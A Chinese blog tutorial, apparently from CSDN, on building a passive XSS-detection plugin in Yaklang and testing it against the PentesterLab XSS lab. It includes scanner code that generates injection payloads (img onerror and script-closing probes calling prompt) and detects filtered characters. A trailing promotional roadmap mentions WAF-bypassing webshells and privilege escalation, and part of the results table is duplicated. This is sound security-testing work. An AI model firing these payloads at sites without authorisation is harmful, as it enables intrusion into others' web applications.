Yaklang XSS 检测启发式算法（被动扫描插件）

已于 2024-01-18 19:59:41 修改
阅读量99 收藏
点赞数
文章标签： xss 启发式算法 rabbitmq
于 2023-10-04 09:47:16 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Innocence_0/article/details/133544562
版权

背景

上一篇介绍了XSS 启发式检测基础设施，本篇通过yak提供的基础设施编写一个xss检测插件。

本次xss靶场使用pentesterlab的xss靶场。

环境部署

git clone https://github.com/yaklang/vulinone
cd php-web-for-pentester
docker-compose up -d

编写思路

参考上一期XSS 启发式检测基础设施中的思维导图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

为了实现启发式漏洞检测，需要对目标环境进行检测：

  1. 检测目标过滤了哪些字符、语句，过滤掉受过滤影响的payload，减少无效发包。

  2. 检测哪个参数在html有回显、回显位置。

  3. 猜测目标生成html方式，模板生成？还是后端拼接的html？

所以我们的思路可以大致形成这样的思维导图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

判断回显位置

这里先生成随机数，然后进行fuzz，最后使用xhtml.Find方法找到字符串的回显位置。

randStr = str.RandStr(5)
respChannel, err = param.Fuzz(randStr).Exec()
die(err)
rssp = <-respChannel
rawBody, err = str.ExtractBodyFromHTTPResponseRaw(rssp.ResponseRaw)
die(err)
matchNodes = xhtml.Find(rawBody, randStr)

根据回显位置分类并生成对应payload

这里我们简单地将回显位置分为四类，对于不同类型我们构造不同的payload。

1.(tag)标签内文本: 构造标签闭合
2.(attr)属性: 构造标签闭合或伪协议,如果是特殊属性可以直接使用javascript代码
3.(comment)注释：构造标签闭合
4.(js)script 标签内：构造标签闭合或dom型

示例代码如下：

我们可以看到node中有许多方便的方法可以很简单地获取这个节点的详细信息，如节点类型(Text,Comment,Attr等)，节点标签名。

根据获取到的信息我们可以来将回显分类并生成对应的payload，这里还有一些特殊的处理，比如判断回显是否在引号内，判断是否是特殊属性等。

payloads = []

for _, matchNode = range matchNodes {

    if matchNode.IsText() {
        /* 
        4. script标签内
        例：<script>a = '<参数>';</script> 
        */
        if matchNode.TagName == "script" {
            // 引号判断
            matchText = matchNode.MatchText
            randStrIndex = str.Index(matchNode.MatchText, randStr)
            quote = ""
            for {
                randStrIndex -= 1
                if randStrIndex < 0{
                    break
                }
                chr = string(matchText[randStrIndex])
                if chr == "=" {
                    break
                } elif chr == "\"" {
                    quote = "\""
                }elif chr == "'" {
                    quote = "'"
                }
            }

            payloads = append(payloads, newPayload(sprintf("1%s;prompt('%s');%s", quote, verifyRandStr, quote), ";"+quote, "js"))

            payloads = append(payloads, newPayload(sprintf("1%s;</%s><img id='%s' src=1 onerror='prompt(1)'><%s>%s", quote, matchNode.TagName, verifyRandStr, matchNode.TagName, quote), "<>"+quote, "tag"))
        } else {
            /*
            1.标签内文本: 构造标签闭合
            例：<div><参数></div>
            */
            payloads = append(payloads, newPayload(sprintf("</%s><img id='%s' src=1 onerror='prompt(1)'><%s>", matchNode.TagName, verifyRandStr, matchNode.TagName), "<>", "tag"))
        }
    } elif matchNode.IsAttr() {
        /*
        2.属性: 构造标签闭合或伪协议,如果是特殊属性可以直接使用javascript代码
        例：<div id="<参数>"></div> <img src=1 onerror="<参数>"></div> 
        */
        attrName = str.ToUpper(matchNode.Key)
        
        // 特殊属性处理
        if specialAttr(attrName) {
            payload = specialAttrPayload(attrName, verifyRandStr)
            payloads = append(payloads, newPayload(payload, "", "spec-attr"))
        } else {
            payload = sprintf("\"></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s=\"", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)
            payloads = append(payloads, newPayload(payload, "<>/", "attr"))

            payload = sprintf("'></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s='", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)
            payloads = append(payloads, newPayload(payload, "<>/", "attr"))

            payload = sprintf("></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s=", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)
            payloads = append(payloads, newPayload(payload, "<>/", "attr"))
        }
    } elif matchNode.IsCOMMENT() {
        /*
        3.注释：构造标签闭合
        例：<!-- <参数> -->
        */
        payloads = append(payloads, newPayload(sprintf("-->%s<script>prompt(1);</script><!--", verifyRandStr), "<>-", "comment"))
    }
}

过滤检测

过滤可能是后端框架、自定义方法过滤，可能是前端过滤，也可能是waf过滤，

可能过滤的除了字符还可能是script、alert、prompt、div等语句，

这里作为演示，我们只是简单地将一些危险字符，如< > ' " / \ - 进行了判断，将过滤的字符数组都写入到filterChars这个数组中。

// ! 四 检测危险字符并过滤payload
filterChars = []
allDangerousChars = ["<", ">", "'", "\"", "/", "-"]
i = 0

detectPayload = randStr + str.Join(allDangerousChars, randStr) + randStr
resp, err = param.Fuzz(detectPayload).Exec()
die(err)
rspo = <-resp
body, err = str.ExtractBodyFromHTTPResponseRaw(rspo.ResponseRaw)
die(err)
randStrFromIndex = string(body)

for {
    n, btChr = xhtml.MatchBetween(randStrFromIndex, randStr, randStr, 50)
    if n == -1 || i >= len(allDangerousChars){
        break
    }

    if allDangerousChars[i] != btChr {
        pass = false
        filterChars = append(filterChars, string(allDangerousChars[i]))
    }
    randStrFromIndex = randStrFromIndex[n:]
    i += 1
}
log.debug(sprintf("[%d]filterChars: %s", len(filterChars), filterChars))

使用过滤后的payload测试

在拿到filterChars的时候我们就可以通过判断payload中是否包含这些过滤的字符从而来筛选掉一部分payload，

将筛选过后的payload进行测试，然后根据回显来判断是否存在xss，根据之前回显类型的不同，判断存在xss的方式也有所不同，

这里使用到了并发技术，将结果写入管道中。

payloadFuzzTask = func(swg, resultCh, url, param, verifyRandStr, payload) {
    swg.Add()

    go func {
        defer swg.Done()

        
        freq = param.Fuzz(payload.value) 
        httpReq, err = freq.GetFirstFuzzHTTPRequest()
        checkErr(err)
        rawReq, err = httpReq.GetOriginHTTPRequest()
        checkErr(err)
        reqBody, err = http.dump(rawReq)
        checkErr(err)
        reqBody = string(reqBody)
        respChannel,err =  freq.Exec()
        checkErr(err)
        rssp = <-respChannel
        newBody, err = str.ExtractBodyFromHTTPResponseRaw(rssp.ResponseRaw)
        checkErr(err)

        existVuln = false 
        maybeVuln = false
        extraMsg = ""
        payloadType = payload.payloadType

        if payloadType == "js" {
        verifyMatchNodes = xhtml.Find(newBody, verifyRandStr) // js类型的payload判断漏洞存在条件为: js中包含"verifyRandStr"这个字符串字面量
            for _, matchNode = range verifyMatchNodes {
                if matchNode.TagName != "script" {
                    continue
                }
                result,err = js.ASTWalk(matchNode.MatchText)
                if err != nil { // 如果ASTWalk报错，则可能存在xss
                    existVuln = true
                    maybeVuln = true
                    break
                }
               

                for _,s = range result.StringLiteral{
                    if s == verifyRandStr {
                        existVuln = true
                        break
                    }
                }

                if len(result.BadSyntax) > 0 { // 如果js语法出现错误，则可能存在xss
                    existVuln = true
                    maybeVuln = true
                    break
                }
            }
        } else {
            if payloadType == "comment" { // comment类型的payload判断漏洞存在条件: 逃出注释
                verifyMatchNodes = xhtml.Find(newBody, verifyRandStr) 
                for _, matchNode = range verifyMatchNodes {
                    if matchNode.IsText() && matchNode.MatchText == verifyRandStr {
                        existVuln = true
                        break
                    }
                }
            } elif str.HasPrefix(payloadType, "spec") { // ! 对spec-attr类型的漏洞不做判断,可能存在误报
                existVuln = true
                maybeVuln = true
            } else { // tag或attr类型的payload判断漏洞存在条件: 存在属性值为verifyRandStr的节点，证明标签逃逸或者属性逃逸
                verifyMatchNodes = xhtml.Find(newBody, verifyRandStr) 
                for _, matchNode = range verifyMatchNodes {
                    if matchNode.IsAttr() && matchNode.Key == "id" && matchNode.Value == verifyRandStr {
                        existVuln = true
                        break
                    }
                }
            } 
        }

        if existVuln {
            result = newResult(maybeVuln, url, param, payload, reqBody, newBody)
            resultCh <- result
        }
    }
}

输出结果

这里将结果使用log打印出来，并写入yakit数据库中。

// 最后结果 日志输出
xssLog = func(result, saveDB) {
    maybeVuln = result.maybeVuln
    url = result.url
    param = result.param 
    payload = result.payload
    reqRaw = result.reqRaw  
    respRaw = result.respRaw

    if maybeVuln {
        msg = "Maybe xss"
    } else {
        msg = "Found xss"
    }
    payloadString := sprintf("%s=%s", param.Name(), payload.value)

    report = {"message": msg, "payload": payloadString, "payload_type": payload.payloadType, "param_position": param.PositionVerbose()}
    
    yakit_output(report)
    if saveDB {
        risk.NewRisk(
            url,
            risk.title(sprintf("XSS for: %v", url)),
            risk.details(report),
            risk.type("xss"),
            risk.payload(payloadString),
            risk.request(reqRaw), 
            risk.response(respRaw),
            risk.severity("warning"),
        )
    }
}

// ! 六 输出结果
saveDB = true 
for result = range resultCh {
    xssLog(result, saveDB)
    if saveDB {
        saveDB = false
    }
}

简要演示

启动劫持：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在左边勾选我们需要启动的MITM插件，浏览器设置代理，访问存在漏洞的靶场页面。

将模式修改为被动日志界面，这样才能看到mitm插件的扫描输出，浏览器刷新，重新访问存在漏洞的靶场页面，可以看到插件提示找到了一个xss。

同时也将该漏洞的详细信息写入了yakit数据库中。

这里我们复制payload，用浏览器手动测试payload是否有效，可以看到成功弹窗。

[操作视频](https://internal-
api-drive-
stream.feishu.cn/space/api/box/stream/download/video/boxcnsVx37DIkbwJkdbi7GarfPf/?quality=1080p&data_version=7115333771771166723&mount_point=docx_file)

靶场测试

pentesterlab的xss靶场一共有10关，具体的测试报告如下：

靶场案例

|

是否检测出漏洞

|

payload

|

说明

—|—|—|—

example1

|

✔️

|

|

标签内文本 没有过滤直接输出

example2

|

✔️

|

|

标签内文本 过滤了script标签

exmaple3

|

✔️

|

|

标签内文本 过滤了script标签

example4

|

✔️

|

|

标签内文本 过滤了script关键字

example5

|

✔️

|

|

标签内文本 过滤了alert关键字

example6

|

✔️

|

1";

1";prompt(‘OOXNhBmZ’);"

|

script标签内 没有过滤直接输出

example7

|

✔️

|

1";prompt(‘OOXNhBmZ’);"

|

script标签内

使用htmlentities函数过滤

example8

|

❌

|

|

标签内属性

注入点存在于URL路径

插件没有覆盖到测试点

example9

|

❌

|

|

script标签内

注入点存在于URL锚

DOM型xss，插件暂不支持

不足

这个插件仅仅是作为一个简单的演示，抛砖引玉，实际上我们可以知道它还存在很多的不足:

  1. 只能检测反射型xss，无法检测dom型xss

  2. 对一些特殊位置上的xss无法覆盖(例如路径参数上/某个请求头上)

了解更多Yak相关信息，欢迎及时关注我们的官网/微信公众号；或者加入小小的技术讨论组（进讨论组请添加微信），立即获取最新的技术姿势。

);"

|

script标签内 没有过滤直接输出

example7

|

✔️

|

1";prompt(‘OOXNhBmZ’);"

|

script标签内

使用htmlentities函数过滤

example8

|

❌

|

|

标签内属性

注入点存在于URL路径

插件没有覆盖到测试点

example9

|

❌

|

|

script标签内

注入点存在于URL锚

DOM型xss，插件暂不支持

不足

这个插件仅仅是作为一个简单的演示，抛砖引玉，实际上我们可以知道它还存在很多的不足:

  1. 只能检测反射型xss，无法检测dom型xss

  2. 对一些特殊位置上的xss无法覆盖(例如路径参数上/某个请求头上)

了解更多Yak相关信息，欢迎及时关注我们的官网/微信公众号；或者加入小小的技术讨论组（进讨论组请添加微信），立即获取最新的技术姿势。

学习网络安全技术的方法无非三种:

第一种是报网络安全专业，现在叫网络空间安全专业，主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习，多媒体技术，信息检索、舆情分析等。

第二种是自学，就是在网上找资源、找教程，或者是想办法认识一-些大佬，抱紧大腿，不过这种方法很耗时间，而且学习没有规划，可能很长一段时间感觉自己没有进步，容易劝退。

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

第三种就是去找培训。

image.png

接下来，我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础？这是一个争议比较大的问题，有的人会建议先学编程，而有的人会建议先学计算机基础，其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说，学习编程或者计算机基础对他们来说都有一定的难度，并且花费时间太长。

第一阶段：基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分，俗话说：基础不劳，地动山摇
image.png

第二阶段：web渗透

学习基础 时间：1周 ~ 2周：

① 了解基本概念：（SQL注入、XSS、上传、CSRF、一句话木马、等）为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透，学一学案例的思路，每一个站点都不一样，所以思路是主要的。
③ 学会提问的艺术，如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间：3周 ~ 4周：

① 了解渗透测试常用的工具，例如（AWVS、SQLMAP、NMAP、BURP、中国菜刀等）。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景，懂得基本的使用，推荐在Google上查找。

渗透实战操作 时间：约6周：

① 在网上搜索渗透实战案例，深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试，推荐DWVA，SQLi-labs，Upload-labs，bWAPP。
③ 懂得渗透测试的阶段，每一个阶段需要做那些动作：例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入，寻找绕过waf的方法，制作自己的脚本。
⑤ 研究文件上传的原理，如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用（IIS、Nignix、Apache）等，参照：上传攻击框架。
⑥ 了解XSS形成原理和种类，在DWVA中进行实践，使用一个含有XSS漏洞的cms，安装安全狗等进行测试。
⑦ 了解一句话木马，并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限，Google关键词：提权
image.png
以上就是入门阶段

第三阶段：进阶

已经入门并且找到工作之后又该怎么进阶？详情看下图
image.png

给新手小白的入门建议：
新手入门学习最好还是从视频入手进行学习，视频的浅显易懂相比起晦涩的文字而言更容易吸收，这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦！

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

![](https://img-blog.csdnimg.cn/3e9a39bf040d46da93e80689b407bb25.png)
程序员负总裁
关注
W13Scan 漏洞扫描器之XSS插件模块编写示例
tenyuanruby的博客
12-22 371
在上图中可以看到浏览器触发了XSS代码，弹出了cookie值，至此编写XSS检测插件就完成了，当然这个插件还不够完善，有兴趣的可以自己再深入研究~在编写插件之前，我们需要对框架本身的目录结构有一定了解，由于W13Scan本身的文档不是太详细，我自己整理了一下，目录结构图下所示。目录，在目录里面有29个插件，调试的时候不是太方便，我先将其他插件都删除，为了参考插件怎么编写的，我留下一个，如下图所示。本篇文章的XSS插件的编写单纯是为了学习这个框架，所以只支持GET型，了解插件的编写方法和原理即可。
Parth:启发式漏洞参数扫描仪
03-20
帕斯 启发式漏洞参数扫描仪 介绍 与其他功能相比，某些HTTP参数名称更常与一种功能关联。例如，参数?url=通常包含URL作为值，因此经常成为文件包含，开放重定向和SSRF攻击的受害者。 Parth可以浏览您的打history历史，URL列表或自己发现的URL，以查找此类参数名称以及通常与之相关的风险。 Parth旨在通过帮助确定测试组件的优先级来帮助进行Web安全测试。 用法 从文件导入目标 此选项适用于所有3种受支持的导入类型：Burp Suite历史记录，换行符分隔的文本文件或HTTP请求文本文件。 python3 parth.py -i example.history 查找域的URL 此选项将利用CommonCrawl，Open Threat Exchange和Waybackmachine查找目标域的URL。 python3 parth.py -t example.com 忽
XssEncode
weixin_33674976的博客
01-24 234
0x00 闲扯 好吧继上一篇文章之后，就没发文章了！(其实是一直在写但是写的很少还凑不起一篇文章而已) 但是这几天对插件进行了一定的改良了 因为在自己在实际的XSS过程中也发现了自己的插件 还不够强大！ 不能够百分之百的满足自己的需求！所以就根据自己平常的需求给加了上去！ 我想做到玩XSS一个工具即可解决需求！所以感觉即使是现在的插件也还有很大的不足！ 所以很希望得到你们的意见 ...
XSS漏洞总结 附带burp xss检测插件使用
weixin_52206305的博客
03-11 1920
注意:JavaScript加载外部的代码文件可以是任意扩展名(无扩展名也可以),如:
xss防注入使用插件（vue项目中）
Eric_web的博客
04-16 1556
用了这个插件：https://jsxss.com/zh/index.html github地址：https://github.com/leizongmin/js-xss import axios from ‘axios’ import store from ‘@/store/index’ import md5 from ‘md5’ import xss from ‘xss’ import { _encryptPhone, isEmojiStr } from ‘./common’ import loadMa
扫描器毕业设计，被动式扫描器，由chrome插件获取流量，进行二次检测.zip
04-05
"扫描器毕业设计，被动式扫描器，由chrome插件获取流量，进行二次检测"这个标题揭示了本次毕业设计的核心内容。它涉及到网络安全领域中的一个关键工具——扫描器，尤其是被动式的扫描器。这类扫描器不同于主动式扫描...
毕业设计，被动式扫描器，由chrome插件获取流量，进行二次检测.zip
08-06
"毕业设计，被动式扫描器，由chrome插件获取流量，进行二次检测" 这个标题揭示了本次毕业设计的核心内容。它涉及到网络安全领域中的一个技术实践，即开发一个被动式扫描器。被动式扫描器不同于主动式扫描器，它不向...
php xss漏洞扫描工具,XSS漏洞扫描器工具：XSpear
weixin_30851655的博客
03-17 1228
XSpear是一款基于RubyGems的的XSS漏洞扫描器。拥有常见的XSS漏洞扫描攻击测试功能。还可进行参数分析。XSS漏洞扫描主要特点基于模式匹配的XSS扫描检测alertconfirmprompt无头浏览器上的事件(使用Selenium)测试XSS保护旁路和反射参数的请求/响应反射的参数过滤测试event handlerHTML tagSpecial Char测试盲XSS(使用XS...
XSS_Rays.zip_XSS Rays 下载_tool_xss扫描_xss扫描器_漏洞扫描
09-22
基于JS的XSS扫描器——XSS Rays. 最近The Spanner发布了一个名为XSS Rays的 XSS漏洞扫描器。这tool有点意思，是使用JS写的，JS遍历目标的link、form，然后构造测试用例去测试，可以发现DOM的XSS（当然是在测试用例打...
我愿称之为最容易上手的编程语言——Yaklang(I)
m0_55400802的博客
01-30 1604
和Python一样方便，和HTML一样自由，和Golang一样高效
Yaklang 又一“杀手级“功能发布！
YakProject的博客
11-01 180
肯定是使用频率最高的，今天的主角就是我们的 Web Fuzzer 模块，在原有的功能基础上，我们给 Web Fuzzer 添加了一个被称为 Web Fuzzer 序列(Web Fuzzer Sequence)的功能，简单概括就是——Web Fuzzer 序列功能可以串联起多个 Web Fuzzer 节点页面，同时下级节点节点可以自由选择是否继承上级节点的变量(Cookie或其他数据)。中设置一下上面中声明的变量，可以发现，直接发送请求，结果是为空的，这是因为单独发送这一个请求，是没有。
Yaklang 能力再提升:提供更好的中文漏洞信息展示
YakProject的博客
11-03 148
漏洞信息展示是软件安全评估和管理过程中非常重要的一环，它可以帮助团队更好地理解和解决软件中的安全问题加快修复速度减少沟通成本并改进流程和工具。CVE 是英文"Common Vulnerabilities and Exposures"的缩写，中文意为"公共漏洞和暴露"。它是一个全球通用的安全漏洞命名规范。每个 CVE ID 都是一个唯一的标识符，用于标识互联网上公开披露的计算机系统或软件产品中的漏洞或安全问题。
Yaklang websocket劫持教程
Innocence_0的博客
09-13 302
随着Web应用的发展与动态网页的普及，越来越多的场景需要数据动态刷新功能。在早期时，我们通常使用轮询的方式(即客户端每隔一段时间询问一次服务器)来实现，但是这种实现方式缺点很明显:大量请求实际上是无效的，这导致了大量带宽的浪费。这时候我们急需一个新的技术来解决这一痛点，Websocket应运而生: WebSocket是一种网络传输协议，可在单个TCP连接上进行，位于OSI模型的应用层。Websocket的诞生也给我们带来了新的挑战，我们能否对websocket的请求与响应进行劫持与修改呢？
Yaklang 中的类型和变量
夜未至
01-20 1062
var a // 声明变量avar b, c // 声明变量b,cvar d, e = 1, 2 // 声明变量d,e并分别赋值为1,2a, b = 1, 2 // 此时a=1, b=2# 定义一个 Map 类型的变量dump(m);# 定义一个 Map 类型的变量dump(m);
Yaklang 升级: 更灵活的语法让写插件变得更轻松
YakProject的博客
11-03 96
本篇介绍了Yaklang的部分更新，真的很好用，师傅们可以在插件中使用新语法了，完整的介绍可以看官网。
XSS 检测神器：XSStrike 保姆级教程
最新发布
Flag少侠的博客
04-20 3817
用户可以使用自定义的负载进行攻击，这些负载可以根据漏洞的特点进行定制，提高攻击的成功率。
XSStrike：高级XSS检测工具详解与使用
特别值得一提的是，它支持扫描DOM型XSS漏洞，这是一种更复杂且难以检测的XSS类型，涉及到动态生成的JavaScript代码。 要安装XSStrike，首先确保系统上运行的是Python 3.6及以上版本。接着，通过以下步骤进行安装： ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值